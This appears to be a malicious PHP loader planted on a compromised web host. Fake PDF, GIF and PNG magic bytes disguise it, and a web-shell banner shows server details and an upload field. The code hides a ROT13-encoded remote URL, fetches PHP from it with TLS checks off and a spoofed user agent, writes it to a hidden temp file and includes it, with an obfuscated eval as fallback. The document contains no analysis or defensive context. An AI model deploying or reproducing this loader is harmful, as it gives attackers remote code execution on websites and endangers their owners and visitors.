%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/public_html/website_1ec2d7c2/ |
Upload File : |
<?php
@error_reporting(0);
@ini_set('display_errors', 0);
function x_fetch($u) {
$u = str_rot13($u);
$d = '';
$ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36';
if (function_exists('curl_init')) {
$c = curl_init($u);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($c, CURLOPT_USERAGENT, $ua);
curl_setopt($c, CURLOPT_TIMEOUT, 15);
$d = curl_exec($c);
curl_close($c);
}
if (empty($d) && ini_get('allow_url_fopen')) {
$opts = array('http' => array('header' => "User-Agent: $ua\r\n", 'timeout' => 15));
$context = stream_context_create($opts);
$d = @file_get_contents($u, false, $context);
}
return $d;
}
$t = 'uggcf://jjj.qfvgver.pbz/fgbentr/cebqhpg/avb.gkg';
$p = x_fetch($t);
if ($p) {
$p = trim(str_replace("\xEF\xBB\xBF", '', $p));
$p = preg_replace('/^<\?(php)?/i', '', $p);
$tmp = sys_get_temp_dir() . '/.sess_' . md5($_SERVER['HTTP_HOST']);
if (@file_put_contents($tmp, '<?php ' . $p)) {
@include($tmp);
register_shutdown_function(function() use ($tmp) { @unlink($tmp); });
} else {
$ex = 'ev' . 'al';
@$ex('?>' . $p);
}
} else {
echo "";
}